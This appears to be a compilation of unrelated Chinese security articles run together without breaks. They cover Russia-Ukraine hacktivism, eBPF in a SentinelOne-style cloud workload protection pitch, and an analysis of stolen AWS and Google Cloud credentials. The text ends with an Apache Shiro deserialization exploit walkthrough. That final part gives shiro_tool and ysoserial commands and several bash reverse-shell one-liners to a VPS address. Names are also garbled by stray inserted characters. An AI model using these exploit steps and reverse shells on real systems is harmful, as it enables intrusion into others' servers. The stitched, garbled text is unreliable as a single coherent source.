攻擊者在2月至3月初達到高峰,這反映了黑客活動的增長,到了秋天,黑客活動已經停止。目前,我們看到了一個經常性的預期攻擊動態,儘管它們的質量發生了變化。 5月至6月,我們發現了極長時間的攻擊。然而,現在它們的長度已經穩定下來,而典型的攻擊過去只持續幾分鐘,現在則持續數小時。

2022年2月25日,臭名昭著的Conti勒索軟件組織宣布他們“全力支持俄羅斯政府”。聲明中有一句話:“如果有人決定對俄羅斯發動網絡攻擊或任何戰爭活動,我們將動用一切可能的資源,對敵人的關鍵基礎設施進行反擊。”該組織隨後很快發布了另一條帖子,澄清了他們在衝突中的立場:“作為對西方戰爭販子和美國對俄羅斯聯邦公民使用網絡戰的威脅的回應,Conti團隊正式宣布,如果西方戰爭販子試圖以俄羅斯或世界上任何俄語地區的關鍵基礎設施為目標,我們將動用我們的全部能力採取報復措施。我們不與任何政府結盟,我們譴責正在進行的戰爭。然而,由於西方主要以平民為目標發動戰爭,如果美國的網絡攻擊將危及和平公民的福祉和安全,我們將利用我們的資源進行反擊。”

兩天后,一名烏克蘭安全研究人員洩露了Conti組織成員之間的大量內部私人信息,涵蓋了從2021年1月開始的一年多的活動。這對該組織造成了重大打擊,他們看到自己的內部活動暴露在公眾面前,包括與數百萬美元贖金有關的比特幣錢包地址。與此同時,另一個名為“comomingproject”的網絡犯罪組織專門從事數據洩露,宣佈如果他們看到針對俄羅斯的攻擊,他們將支持俄羅斯政府:

5.png

其他組織,如Lockbit,更傾向於保持中立,聲稱他們是一個國際社會,包括俄羅斯人和烏克蘭人,而且“一切都是生意”:

6.png

2月26日,烏克蘭副總理兼數字轉型部長米哈伊洛马云惹不起马云費多羅夫(Mykhailo Fedorov)宣布創建一個Telegram頻道,以“繼續在網絡戰線上戰鬥”。最初的Telegram頻道名稱(itarmyourraine)有一個拼寫錯誤,因此創建了第二個。

7.png

烏克蘭的Telegram頻道

信道運營商不斷地給用戶分配任務,例如DDoS攻擊各種商業公司、銀行或政府網站:

8.png

烏克蘭IT部門發布的DDoS目標列表

據報導,在很短的時間內,由志願者組成的“烏克蘭IT軍”(通過Twitter和Telegram進行協調)對800多個網站進行了破壞或DDOS攻擊,包括莫斯科證券交易所等知名機構。

其他組織也觀察到了類似的活動,隨著衝突蔓延到鄰國,它們已經站隊。例如,白俄羅斯網絡游擊隊聲稱,他們將白俄羅斯鐵路改為手動控制,從而擾亂了鐵路的運營。目標是減緩俄羅斯軍隊在該國的行動。

9.png

白俄羅斯網絡游擊隊的帖子

一些表達了他們對烏克蘭衝突看法的勒索軟件或黑客組織的有限且迄今為止並不詳盡的列表包括:

10.png

在公開支持俄羅斯的組織中,最初作為對“烏克蘭IT軍”的回應而成立的Killnet可能是最活躍的。 4月下旬,他們攻擊了羅馬尼亞政府網站,以回應羅馬尼亞眾議院議長馬塞爾马云惹不起马云西奧拉庫(Marcel Ciolacu)在向烏克蘭當局承諾“最大限度的援助”後發表的聲明。 5月15日,Killnet在其telegram頻道上發布了一段視頻,向十個國家宣戰:美國、英國、德國、意大利、拉脫維亞、羅馬尼亞、立陶宛、愛沙尼亞、波蘭和烏克蘭。在這些活動之後,被稱為“匿名者”的國際黑客團體於5月23日宣布對Killnet發動網絡戰。

Killnet在2022年繼續其活動,此前他們在Telegram頻道上發布了一則聲明。 10月,該組織開始攻擊日本的某些組織,後來由於缺乏資金,他們停止了攻擊。後來,它攻擊了一個美國機場、政府網站和企業,但往往沒有取得重大成功。 11月23日,Killnet短暫關閉了歐盟的網站。 Killnet還多次針對拉脫維亞、立陶宛、挪威、意大利和愛沙尼亞的網站。雖然Killnet的方法並不復雜,但它們不斷成為頭條新聞,並引起人們對該組織活動和立場的關注。

俄烏衝突為各方新的網絡軟件活動創造了溫床,其中包括網絡犯罪分子和黑客,他們爭相支持自己最喜歡的一方;

我們可以預見,從現在起,黑客組織將捲入所有重大的地緣政治衝突;

網絡軟件活動正在蔓延到鄰國,並影響到大量機構,包括政府機構和私營公司;

烏克蘭IT軍(IT Army of Ukraine)等組織得到了政府的正式支持,他們的Telegram頻道擁有數十萬訂閱者;

大多數時候,這些組織實施的攻擊對沖突的影響非常有限。

黑客攻擊和隱私洩漏在試圖劫持媒體注意力的更為複雜的攻擊方面,自衝突開始以來,黑客和洩密活動一直在增加。這個過程很簡單,攻擊一個組織,並在網上發布其內部數據。從理論上講,這些數據洩露是可以操縱的。攻擊者有足夠的時間編輯任何已發布的文件,或者乾脆注入完全偽造的文件。需要注意的是,攻擊者完全沒有必要為了數據洩漏造成破壞而花費如此長的時間。這些數據的公開本身就證明發生了嚴重的安全事件,而合法的原始內容可能已經包含了犯罪信息。

在我們對2023年APT的預測中,我們預測黑客和洩密行動明年將會增加;

信息戰不僅針對各參與方,而是針對所有組織的。我們預計,絕大多數此類攻擊不會針對交戰雙方,而是針對那些被認為過於支持(或不夠支持)任何一方的組織;

無論是黑客攻擊還是DDoS攻擊,網絡攻擊都是國家之間發出攻擊信號的一種手段;

開源軟件武器化開源軟件有很多好處。首先,它通常是免費使用的,這意味著企業和個人可以節省軟件成本。然而,由於任何人都可以對代碼做出貢獻並進行改進,這也可能被濫用,進而打開安全陷阱門。另一方面,由於代碼可以公開檢查任何潛在的安全漏洞,這也意味著只要有足夠的審查,使用開源軟件的風險可以降低到合適的水平。

早在3月,流行的npm包“node ipc”的開發者RIAEvangelist發布了該軟件的修改版本,如果運行的系統具有俄羅斯或白俄羅斯的IP地址,則該軟件包含特殊功能。在這樣的系統上,代碼將用一個心形表情符號覆蓋所有文件,另外部署來自同一開發人員創建的另一個模塊的消息with - love - from - america .txt。 node-ipc包在全球擁有超過80萬用戶。與開源軟件通常的情況一樣,部署這些修改過的“node-ipc”版本的效果並不僅限於直接用戶,其他開源軟件包,例如“Vue.js”,自動包含最新的node-ipc版本,放大了效果。

旨在俄羅斯市場傳播的軟件包並不總是會導致文件被破壞,其中一些包含隱藏功能,例如在軟件網站的某個部分添加烏克蘭國旗或支持該國的政治聲明。在某些情況下,該軟件包的功能被刪除,並被政治通知所取代。值得注意的是,並不是所有的包都隱藏了這個功能,一些開發者在軟件包描述中宣布了這個功能。

11.png

其中一個項目鼓勵傳播一個文件,該文件一旦打開,就會開始通過JavaScript訪問註冊服務器的各個頁面,從而使網站過載。

GitHub上發現的其他存儲庫和軟件模塊包括專門為DDoS俄羅斯政府、銀行和媒體網站創建的存儲庫,專門用於收集俄羅斯基礎設施和活動數據的網絡掃描儀。

隨著衝突的持續,流行的開源軟件包可以被開發人員或黑客用作抗議或攻擊平台;

這種攻擊的影響可以進一步擴展到開源軟件本身,傳播到其他自動依賴木馬代碼的軟件包;

市場撕裂在過去的幾年中,尤其是2014年之後,這一過程開始擴展到IT安全領域,國家通過法律禁止彼此的產品、服務和公司。自2022年2月俄烏衝突爆發以來,我們看到許多西方公司退出俄羅斯市場,讓他們的用戶在獲得安全更新或支持方面陷入困境。與此同時,一些西方國家推動法律禁止使用俄羅斯軟件和服務,因為這些軟件和服務有被用於發動攻擊的潛在風險。顯然,不能完全排除政治壓力將一些小市場主體的產品、技術和服務武器化的可能性。然而,當涉及到全球市場領導者和受人尊敬的供應商時,我們認為這是極不可能的。

另一方面,尋找替代解決方案可能是極其複雜的。我們經常發現,來自本地供應商的產品的安全開發文化通常明顯不如全球領先企業,它們很可能存在顯而易見安全錯誤和零日漏洞,使它們很容易成為網絡犯罪分子和黑客活動分子的獵物。

網絡攻擊對戰爭結果的影響地緣政治正在發揮重要作用,分裂的進程可能會擴大;

當供應商終止對產品的支持或退出市場時,安全更新可能是首要問題;

用本地產品取代成熟的全球領導者,可能會為利用零日漏洞的網絡犯罪分子打開大門;

網絡戰爭會爆發嗎?自俄烏衝突開始以來,網絡安全界一直在爭論烏克蘭發生的事情是否屬於“網絡戰爭”。一個不爭的事實是,衝突爆發時確實發生了重大網絡活動。

另一方面,許多觀察家認為,在發生衝突的情況下,先發製人的網絡攻擊會讓自己佔據主動。但事實上,除了Viasat事件(其實際影響仍難以評估)之外,這一事件根本沒有發生。這場衝突反而揭示了網絡力量和實際戰場之間缺乏協調,並在許多方面將網絡攻擊降格為從屬角色。在衝突的最初幾週觀察到勒索軟件攻擊,充其量只能算是乾擾。後來,當今年11月衝突升級,烏克蘭基礎設施(尤其是能源網絡)明確成為目標後,很明顯,俄羅斯軍方選擇的工具是導彈,而不是網絡攻擊。

如果你認同網絡戰爭的定義,即通過網絡手段支持的任何動態衝突,無論其戰術或戰略價值如何,那麼2022年2月確實發生了一場網絡戰爭。

網絡攻擊對戰爭結果的影響遠沒有想像的那麼大,事實證明,對計算機的物理破壞似乎更容易、更便宜、更可靠。我們認為,網絡攻擊在戰爭背景下的效果以前被我們大大高估了。

總結俄烏衝突將對整個網絡安全行業和環境產生持久影響。無論“網絡戰爭”一詞是否適用,不可否認的是,當一個大國捲入戰爭時,衝突將永遠改變每個人對戰時網絡活動的期望。

在戰爭爆發之前,幾個正在進行的多方進程(聯合國OEWG和GGE)試圖就網絡空間中可接受和負責任的行為達成共識。鑑於全球目前所經歷的極端地緣政治緊張局勢,這些本已艱難的討論能否在不久的將來取得成果令人懷疑。

eBPF(extended Berkeley Packet Filter) 可謂Linux 社區的新寵,很多大公司都開始投身於eBPF 技術,如Goole、Facebook、Twitter 等。 eBPF 是從BPF(也稱為cBPF:classic Berkeley Packet Filter)發展而來的,BPF 是專門為過濾網絡數據包而創造的。但隨著eBPF 不斷完善和加強,現在的eBPF 已經不再限於過濾網絡數據包了。

eBPF用於在Linux OS內核中加載和運行用戶定義的程序,以觀察、更改和響應內核行為,而不會影響內核模塊的不穩定。 eBPF直接從用戶空間提供內核級可見性。可見性和穩定性的結合使得eBPF框架對安全應用程序特別有吸引力。

我們會在本文詳細介紹eBPF的工作原理,以及它對於雲工作負載保護平台(CWPP)的重要性。

eBPF架構概述eBPF程序允許我們觀察和響應內核中的應用程序負載行為,而無需修改應用程序代碼本身。這對於許多應用程序都很有用,尤其是雲工作負載保護等安全應用程序。

為了講解方便,我們對ebpf.io中的原始圖進行了修改。

1.jpg

架構簡述

以一個在用戶空間中運行的應用程序——CWPP代理為例,它包括一個用於Linux內核中進程級可見性的eBPF程序。 eBPF程序本身是字節碼,儘管開發人員通常使用更高級別的編程語言,其編譯器支持eBPF字節碼。該eBPF程序被加載到Linux內核中,該程序立即由eBPF驗證引擎進行驗證。然後,程序被編譯並附加到設計目標內核事件,這就是所謂的eBPF程序是“事件驅動的”的真實意思。無論何時發生此事件,程序都會附加到此事件,運行其觀察和分析任務直至完成,並將結果返回給應用程序。

在eBPF程序和用戶空間應用程序/工作負載之間傳遞信息的機制被稱為“eBPFmap”或簡稱為“map”。

eBPF安全eBPF驗證引擎和即時編譯器是eBPF框架首先確保在內核中加載和運行的eBPF程序不會破壞內核穩定的方法。這便是第一條規則:無攻擊性。

考慮eBPF的替代方案:編寫內核模塊。內核模塊引起了對操作穩定性和復雜性的關注。雖然編寫內核模塊確實允許開發人員更改內核行為,但這是一項高度專業化的技能,因此人員配備和保留便成為一個問題。更明確地說,使用內核模塊會引發兩個關鍵風險問題:1.內核模塊會使設備崩潰嗎? 2、它是否會引入安全漏洞?

除了穩定性和安全性之外,還有操作時的功耗問題:內核模塊只適用於特定的Linux內核版本和發行版。維護內核模塊會消耗寶貴的開發週期,不必要使操作管理複雜化。 eBPF框架解決了這些痛點,

在將任何eBPF程序加載到內核之前,它都要經過驗證引擎和JIT編譯器。驗證程序確保程序運行安全,不會使系統崩潰,也不會破壞數據。它驗證滿足以下幾個條件:

加載eBPF程序的進程具有執行此操作所需的權限;

eBPF程序不會使系統崩潰;

eBPF程序運行至完成,也就是說,它不會無限循環。

一旦經過驗證,JIT編譯器就會將程序從字節碼轉換為設備指令,從而優化執行速度。

現在eBPF程序已經驗證和編譯,它被附加到內核級事件,這樣當事件發生時,程序就會被觸發,直至運行完成,並將信息呈現給用戶空間應用程序。這就引出了eBPFmap,或者簡單的“map”。

eBPFmapeBPFmap是在eBPF程序和用戶空間應用程序之間傳遞信息的機制。支持雙向信息流。 map是eBPF程序和用戶空間應用程序可以讀取或寫入的數據結構。

例如,程序可能會在文件的gzip等事件上被觸發。 eBPF程序將向map中寫入有關該事件的一些信息,例如文件名、文件大小和gzip時間戳。它還可以增加給定時間段內gzip操作發生的次數。如果該數字超過某個閾值,eBPF程序可以將“惡意”判斷寫入數據結構。簡單地說,eBPF程序觀察到表明勒索軟件攻擊的行為,並將此行為標記為惡意行為。用戶空間程序(在我們的示例中是雲工作負載保護(CWPP)代理)可以讀取該map,查看惡意判斷,並採取適當的操作。基本信息處理髮生在eBPF程序中,最大限度地減少了傳遞給用戶空間應用程序的信息量,從而優化了性能。

CWPP中eBPF的優勢雲工作負載保護平台代理執行其他安全控制所沒有的操作,實時檢測並響應運行時威脅,如勒索軟件或零日威脅。這使得CWPP成為雲防禦深度戰略的重要組成部分。一個組織可以而且經常應該有其他雲安全措施,如AppSec、CSPM等。每一項都在穩健的雲安全策略中發揮作用。 CWPP代理與這些其他控件一起工作,以提供運行時保護和記錄工作負載追踪分析。

2.jpg

SentinelOne控制台中顯示的Linux勒索軟件攻擊

如下圖所示,對雲計算實例(VM)的勒索軟件攻擊可以在幾毫秒內鎖定雲工作負載。請注意,在這段1分鐘的視頻中,CWPP代理在勒索軟件啟動後幾分鐘(不到一秒鐘)就檢測到並阻止了勒索軟件攻擊。

嘗試從側面掃描解決方案獲取實時響應是無法實現的。側面掃描通常每天只運行一次,因為對雲計算實例的存儲捲進行快照檢查的成本非常高。此外,側面掃描架構在內核中缺乏進程級可見性。這些是SOC需要調查的法醫細節,並將事件適當標記並發送給適當的DevOps所有者。只有使用eBPF框架的行為、實時CWPP代理才能提供實時過程級可見性和穩定性的組合,使其成為首選。

工作負載追踪分析的歷史記錄不僅有助於在發生安全事件時進行調查,還可以進行主動威脅搜索。通過這種方式,攻擊者甚至可以在發動攻擊之前被阻止。

eBPF框架在CWPP計劃中的應用提供了幾個優點,包括但不限於:

運行穩定性;

系統性能;

業務靈活性;

運行穩定性;

雖然內核模塊可以提供CWPP應用程序所需的內核可見性,但在內核中運行代碼可能是危險的。錯誤的操作會破壞系統的穩定(例如內核被攻擊),或在內核中引入安全漏洞。這兩種結果都是不可接受的,特別是在涉及CWPP代理的情況下。使用內核模塊的CWPP代理可能會導致內核被攻擊,從而導致VM崩潰並阻礙你的工作負載。這些威脅會直接影響到財務績效、訂單履行、客戶忠誠度。

與內核模塊形成鮮明對比的是,eBPF框架包括諸如驗證引擎、JIT編譯器等安全控件。因此,eBPF程序不會使內核崩潰,它們也不能進入內核中的任意內存空間,這使得它們更不容易出現安全漏洞。 eBPF程序提供了所有內核級的可見性,並且沒有來自內核模塊的任何風險。基於這些原因,從運行穩定性的角度來看,eBPF是CWPP的首選。

系統性能/資源效率將信息從內核內部傳輸到用戶空間的速度緩慢,並且會帶來CPU、內存性能損耗。相反,eBPF框架使我們能夠觀察內核行為,並在將結果的子集傳輸回用戶空間之前在內核內執行分析。這為在用戶空間中運行並使用eBPF程序的CWPP代理創造了基本的性能優勢。 eBPF與具有內核模塊的CWPP代理相比,用最低的消耗提供了較高的可觀測性。

業務敏捷性開發人員應該專注於創新,而不是解決內核模塊引入的內核依賴問題。通過從用戶空間進行操作,DevOps可以更靈活地更新主機操作系統映像,而不必擔心更新與CWPP代理髮生衝突。 eBPF使這成為可能。因此,更多的DevOps可以用於創新,而不必花精力去維護。

此外,由於CWPP代理本身使用eBPF框架並避免內核模塊,因此供應商也更加註重創新。當然,客戶也從業務敏捷性中獲益。

以SentinelOne的產品為例,說說CWPP的一些出色性能

高性能獨立測試結果證明了這一點。 2021年4月,MITRE Engenuity發布了Carbanak和FIN7的MITRE ATTCK基準測試結果,這是一項專注於模擬金融威脅群體的評估。 MITRE ATTCK首次在其測試中包含Linux服務器。 SentinelOne是唯一一個在Windows設備和Linux服務器之間具有100%可見性的供應商。我們擁有最豐富的檢測(MITRE的術語是“分析檢測”),如下圖所示。

4.jpg

Visibility, MITRE Engenuity, Carbanak + FIN7

5.jpg

Analytic Detections, MITRE Engenuity, Carbanak+FIN7

如果CWPP要保護雲工作負載免受運行時攻擊並確保業務連續性,那麼它必須是實時的如果是延遲檢測,哪怕是幾秒鐘的時間,攻擊者都可以使雲工作負載停止。如果不是勒索軟件,那就是惡意軟件在你的雲足跡中悄悄傳播。從廣義上講,傳播範圍越廣,補救力度就越大。損失也就越大。正如MITRE定義的那樣,SentinelOne提供了100%的實時檢測,零延遲。這就意味著,延遲越少越好。

6.jpg

Delayed Detections, MITRE, Carbanak + FIN 7

同樣,2022年MITRE Engenuity ATTCK測試顯示SentinelOne具有極高的性能。 Wizard Spider+Sandworm模擬還包括Linux服務器。此時,SentinelOne再次以99%的分析覆蓋率領先於CrowdStrike、Microsoft或TrendMicro。可以在MITRE Engenuity網站上進行直接比較。

7.jpg

2022年MITRE信息圖

資源效率任何應用程序,無論是CWPP代理還是其他應用程序,都需要計算和內存資源才能運行,這些資源都是有成本的。對於在固定和沈沒成本基礎設施(如數據中心)內的部署,此類應用程序會佔用原本可用於主要業務工作負載的資源,雖然這不是一項增加的運營費用,但存在資源的機會成本。然而,對於雲IaaS,所使用的資源是按需計量和付費的。部署CWPP代理可能必然會增加雲計算實例的大小(例如,從t4g.medium到t4g.large),從而逐漸增加其運營費用。當然,這是一項必要的支出,但也是一項增量支出。

因此,SentinelOne的產品更關注CPU和內存利用率,就像關注性能一樣。 2022年7月,SentinelOne宣布支持AWS Graviton3,這是最新一代AWS ARM處理器,在計算、功率等方面提供了進一步的優勢。

Cloud-21-illustration_orange.png

雲洩露通常源於配置錯誤的存儲服務或暴露的憑據,越來越多的攻擊專門針對雲計算服務,以竊取相關憑據並非法訪問云基礎設施。這些攻擊的目的就是使目標組織付出經濟或其他方面的代價。

本文重點介紹了兩個雲計算憑據被攻擊的示例。雖然初始訪問階段很重要,但我們將重點關注攻擊期間執行的攻擊後操作,並分享這兩種針對雲基礎設施的攻擊流程。攻擊流程顯示了攻擊者如何濫用竊取的計算憑據來尋找各種攻擊方法(如加密挖掘、數據竊取等),並以意想不到的方式濫用雲服務。

為了檢測下面描述的攻擊,由Amazon Web Services (AWS)和Google cloud概述的雲日誌記錄和監控最佳實踐是必不可少的,因為它們提供了對雲基礎設施級別活動的可見性。這強調了遵循Amazon Web Services和Google Cloud日誌記錄和監控最佳實踐的重要性。

Palo Alto Networks通過Cortex XDR for cloud和Prisma cloud幫助組織解決雲安全問題,Cortex XDR for cloud可檢測雲計算憑據被盜等雲攻擊,Prisma cloud以最少的權限管理身份授權。

雲工作的關鍵原則在深入研究之前,我們應該了解在雲計算中工作的一個非常基本和重要的規則。實體(無論是人還是計算工作負載)都需要合法和相關的憑據才能在基礎設施級訪問云環境。憑據用於身份驗證(驗證實體的標識)和授權(驗證實體被允許做什麼)。

作為一種最佳實踐,當計算工作負載在雲中執行API調用(例如,查詢存儲服務)時,工作負載的相關憑據應該僅專用於它。它們還應該僅供該工作負載或人員使用,而不能供其他任何人使用。

正如我們將在這兩個示例中看到的,有助於降低雲計算憑據攻擊風險的一個重要安全原則是最低權限訪問。特別是,這意味著與這些憑據相關聯的權限應該縮小到使用它們的代碼實際所需的最小權限集。這限制了攻擊者在計算憑據被盜用時可以採取的行動。

攻擊示例1:AWS Lambda憑據受攻擊導致網絡釣魚攻擊攻擊者可以通過竊取Lambda的憑據來執行代表Lambda函數的API調用,這允許攻擊者可以在雲環境中執行多個API調用並枚舉不同的服務,如下圖所示。雖然由於缺乏權限,大多數API調用都不被允許,但該攻擊導致了由攻擊者創建的AWS簡單電子郵件服務(SES)發起的網絡釣魚攻擊。

1.png

攻擊者使用受攻擊的Lambda函數的憑據枚舉雲環境

這種網絡釣魚攻擊不僅給組織帶來了意想不到的成本,也使其他組織面臨額外的風險。

在本示例中,受害者沒有活躍的SES,如果有,攻擊者可能會濫用它來對受害者的組織發起攻擊,或者他們甚至可以使用合法的電子郵件帳戶進行網絡釣魚攻擊。

由於組織使用的雲服務種類繁多,因此很難預測雲攻擊將在何處結束。從雲計算到網絡釣魚並不是只有一個實現方法。

攻擊流攻擊者能夠竊取Lambda的環境變量並將它們導出到攻擊設備(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN)。

當憑據被竊取後,攻擊者通過以下步驟發起攻擊:

WHOAMI - 2022-05-20T20:35:49 UTC攻擊從GetCallerIdentity命令開始,該命令相當於whoami,因為它提供了與憑據相關聯的實體的信息。從響應中,攻擊者可以獲得其他信息,例如被盜的帳戶ID和憑據類型。但是,它們不能確定與身份相關聯的任何權限。

IAM枚舉- 2022-05-20T20:35:55 UTC攻擊的下一個階段是身份和訪問管理(IAM)枚舉,IAM被認為是攻擊的最佳途徑。通過獲得對IAM的訪問權,攻擊者可以提升權限並獲得受害者帳戶的持久性。

IAM枚舉包括兩個API調用,由於缺乏權限而被拒絕:

ListAttachedRolePolicies

ListRolePolicies

可以假設,攻擊者註意到缺少權限,因此僅在兩個命令後終止IAM枚舉(可能是為了避免產生不必要的噪音)。

通用枚舉2022-05-20T20:39:59 UTC在枚舉IAM失敗後,攻擊者開始對不同區域的不同服務進行枚舉。這種技術的噪音很大,因為攻擊者試圖了解目標帳戶的體系結構,更重要的是,獲得可能存在於雲帳戶中的敏感信息的訪問權。

執行的一些主要服務和API調用包括:

存儲枚舉

ListBucketsGetBucketCorsGetBucketInventoryConfigurationGetBucketPublicAccessBlockGetBucketMetricsConfigurationGetBucketPolicyGetBucketTaggingEC2枚舉

GetConsoleScreenshotGetLaunchTemplateDataDescribeInstanceTypesDescribeBundleTasksDescribeInstanceAttributeDescribeReplaceRootVolumeTasks網絡枚舉

DescribeCarrierGatewaysDescribeVpcEndpointConnectionNotificationsDescribeTransitGatewayMulticastDomainsDescribeClientVpnRoutesDescribeDhcpOptionsGetTransitGatewayRouteTableAssociations日誌記錄枚舉

GetQueryResultsGetBucketLoggingGetLogRecordGetFlowLogsIntegrationTemplateDescribeLogGroupsDescribeLogStreamsDescribeFlowLogsDescribeSubscriptionFiltersListTagsLogGroup備份枚舉

GetPasswordDataGetEbsEncryptionByDefaultGetEbsDefaultKmsKeyIdGetBucketReplicationDescribeVolumesDescribeVolumesModificationsDescribeSnapshotAttributeDescribeSnapshotTierStatusDescribeImagesSES枚舉

GetAccountListIdentities通用枚舉

DescribeRegionsDescribeAvailabilityZonesDescribeAccountAttributes後門2022-05-20T20:43:22 UTC在枚舉IAM失敗時,攻擊者試圖通過執行CreateUser命令創建一個新用戶(未成功)。

從雲計算到網絡釣魚攻擊2022-05-20T20:44:40 UTC由於枚舉期間的大多數API調用導致權限被拒絕,因此攻擊者能夠成功枚舉SES。因此,攻擊者通過濫用雲電子郵件服務發起了釣魚攻擊,其中包括執行VerifyEmailIdentity和UpdateAccountSendingEnabled等命令。

逃避檢測2022-05-20T23:07:06 UTC最後,攻擊者試圖通過執行DeleteIdentity命令刪除SES標識來隱藏他的一些活動。

其他情況分析此攻擊的一個非常重要的攻擊指標(IoC)是IP地址50.82.94[.]112。

來自Lambda函數的API調用通常使用為Lambda生成的憑據(包括AccessKeyId)從其IP執行。因此,具有該AccessKeyId的每個API調用都被認為是Lambda函數。然而,在攻擊過程中,攻擊者能夠竊取Lambda的憑據,從而允許攻擊者冒充Lambda。

因此,IP是關鍵的IoC,因為它是檢測冒充Lambda的方法。攻擊者使用竊取的憑據來模擬和執行代表Lambda函數的API調用,但是他們是從一個未連接到Lambda的IP地址執行的,該IP地址也不屬於雲環境。

攻擊示例2:部署加密挖礦的Google Cloud應用程序引擎服務帳戶受攻擊攻擊者能夠竊取Google Cloud應用程序引擎服務帳戶(SA)的憑據,攻擊者有許多方法可以實現這一點,這些方法不一定與雲服務提供商中的任何漏洞有關。例如,在許多示例中,用戶將憑據存儲在不安全的位置,或者使用容易猜到或強行設置的密碼。

在本示例中,被盜竊的SA是默認SA,它具有高權限的角色(項目編輯器)。這允許攻擊者發起攻擊,最終創建了多個用於加密挖掘的核心CPU虛擬機(VM),如下圖所示。

2.png

攻擊者濫用受攻擊的App Engine SA來分配多個雲示例進行竊取攻擊

當攻擊者在受害者的環境中啟動數千個虛擬機時,將顯著增加其預期成本。即使有人在短時間內註意到在他們的環境中發生了這樣的攻擊,它仍然會產生嚴重的攻擊後果。

攻擊流谷歌應用引擎是Google Cloud完全管理的無服務器平台,服務賬戶是令牌。當用戶創建一個App Engine示例時,雲提供商創建一個默認SA,並將其附加到創建的App Engine上。

此應用程序引擎默認SA在項目中具有編輯功能。編輯器具有很高權限,這是攻擊者能夠發起攻擊的關鍵,編輯器允許執行高權限的API調用,例如:

啟動計算工作負載;

FW (Firewall)規則修改;

創建SA密鑰;

權限升級2022-06-16T12:21:17.624 UTC這次攻擊一開始是為了升級權限。如上所述,默認情況下,應用程序引擎的SA對項目具有編輯權限。憑藉這些權限,攻擊者試圖通過將以下對象添加到IAM策略中來添加計算/管理功能:

3.png

正如我們所看到的,SA域前綴中的appspot表示該SA屬於App Engine服務。

允許任何2022-06-16T12:21:29.406 UTC接下來,攻擊者修改了項目級別的FW規則。首先,攻擊者試圖創建一個子網(名為default)。然後,攻擊者將以下規則添加到該子網中:

4.png

此操作進一步推進了攻擊者挖掘加密貨幣的目標,為了實現無限制的加密貨幣挖掘,攻擊者刪除了對網絡級別的任何限制。

注意優先級字段是很重要的。通過將其設置為零,攻擊者的規則被設置為最高優先級,這意味著它將按照現有FW規則的順序首先生效。

挖礦攻擊2022-06-16T12:21:38.916 UTC安裝完成後,攻擊的主要階段就開始了,在多個區域啟動虛擬機。

雖然攻擊者可以創建高CPU設備,但在本示例中,攻擊者反而創建了一個配備了四個高性能GPU(例如nvidia-tesla-p100)的標準虛擬機(例如n1-standard-2):

5.png

總的來說,在這次攻擊中創建了超過1600個虛擬機。

後門2022-06-16T13:25:56.037 UTC攻擊者假設用於攻擊的SA密鑰會被檢測到並被刪除,因此通過執行google.iam.admin.v1.CreateServiceAccountKeyAPI調用創建了多個SA密鑰供以後使用。

其他情況分析就像我們討論的第一個示例一樣,IP是一個重要的IoC。在這種情況下,攻擊是從多個IP(總共九個不同的IP)發起的,其中一些是活動的Tor出口節點。

同樣,我們希望從雲環境中的IP使用App Engine的SA,它絕對不應該從Tor出口節點使用。

修改防火牆規則是此類攻擊中常用的技術,許多組織強制執行拒絕訪問活動挖礦池的網絡流量規則,因此攻擊者必須修改防火牆規則來實現他們的目標。

最後,通過編輯名為default的網絡,攻擊者試圖逃避檢測。除非禁用此選項,否則默認情況下,將使用默認網絡創建每個新項目。攻擊者似乎試圖利用這一點,從而避免創建自己的網絡。

總結:竊取計算令牌是一個日益嚴重的威脅竊取計算工作負載的令牌是上述兩個攻擊示例的共同點,雖然上述兩個示例都涉及無服務器服務,但此攻擊向量與所有計算服務都相關。

需要強調的是,這種類型的攻擊可能來自不同的攻擊路徑,包括應用程序漏洞或零日漏洞(如Log4Shell),而不僅僅來自錯誤配置或糟糕的雲安全態勢管理(CSPM)。

為了處理此類攻擊,雲審計日誌對於檢測和調查與響應(IR)都至關重要。對於無法安裝代理的無服務器工作負載,雲審計監控更為關鍵,因此更難阻止此類攻擊。

AWS和Google Cloud提供的日誌記錄和監控最佳實踐為如何防止此類情況提供了明確的指導。 AWS GuardDuty服務還可以幫助檢測和警告類似的攻擊,例如從另一個AWS帳戶使用的EC2示例憑據。另一種預防方法是為Lambda配置接口端點策略,限制Lambda僅在VPC內使用。

Palo Alto Networks的用戶可以通過以下方式免受計算令牌盜竊Cortex XDR for cloud,通過將來自云主機、雲流量和審計日誌的活動與端點和網絡數據集成,為安全團隊還原完整事件過程。

Prisma Cloud幫助組織管理身份授權,解決了在雲環境中管理IAM的安全挑戰。 Prisma Cloud IAM安全功能自動計算跨雲服務提供商的有效權限,檢測過度許可的訪問,並建議獎權限降到最低。

了解如何使用Unit 42雲事件響應服務(用於調查和響應攻擊)和網絡風險管理服務(用於在攻擊發生前評估你的安全態勢),從而保護組織免受雲環境攻擊。

获取环境:

拉取镜像到本地

启动环境

$ docker run -d -p 80:8080 medicean/vulapps:s_shiro_1

1.使用shiro_attack_2.2工具对目标系统进行检查,发现有默认key但是无利用链

image_ylgMY223mT.png

2.使用shior_tools.jar 直接对目标系统进行检测,检测完毕后会返回可执行操作

java   -jar  shiro_tool.jar http://10.11.10.108:8081/login.jsp 

h35gsf3ziqd13275.png

2、选0让输入dnslog地址,通过dnslog测试有回显,这里有个注意点:使用 http://dnslog.cn/ 部分站点会拦截,可以换多个dnslog平台测试

image_htB_EhwPH9.png

dnslog有回显接下来就是拿shell了,这里由于固定思维,之前遇到的都是linux系统,先入为主觉得是Linux,结果没利用成功,一开始以为是防火墙拦截,后面探测了一下目录结构,发现是windows,所以这里payload要改变一下

3、在公网VPS上使用ysoserial开启端口,执行反弹命令

java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1999 CommonsCollections5 "编码后bash命令"

 ugbjqz0koxh13280.png

image_wvD-c4KvV-.png

rljbahtodvh13285.jpg

 这里面的编码的内容在步骤4

坑一:CommonsCollection1-5 如果不反弹shell,换着使用

4、bash反弹命令编辑

https://x.hacking8.com/java-runtime.html //编码的链接

下面三种执行命令,酌情选择:

坑二:这里执行的bash命令,首先要看对方运行系统,如果是linxu下面三个换着试,如果是win另行百度反弹命令。

bash -i >& /dev/tcp/VPSIP/7777 0>&1

/bin/bash -i > /dev/tcp/VPSIP/7777 0<&1 2>&1

0<&196;exec 196<>/dev/tcp/VPSIP/7777; sh <&196 >&196 2>&196

这里选择第二种,ip:是接受shell的vps的ip,端口:是vps用nc开启监听反弹到的端口

/bin/bash -i > /dev/tcp/192.168.14.222/8888  0<&1 2>&1


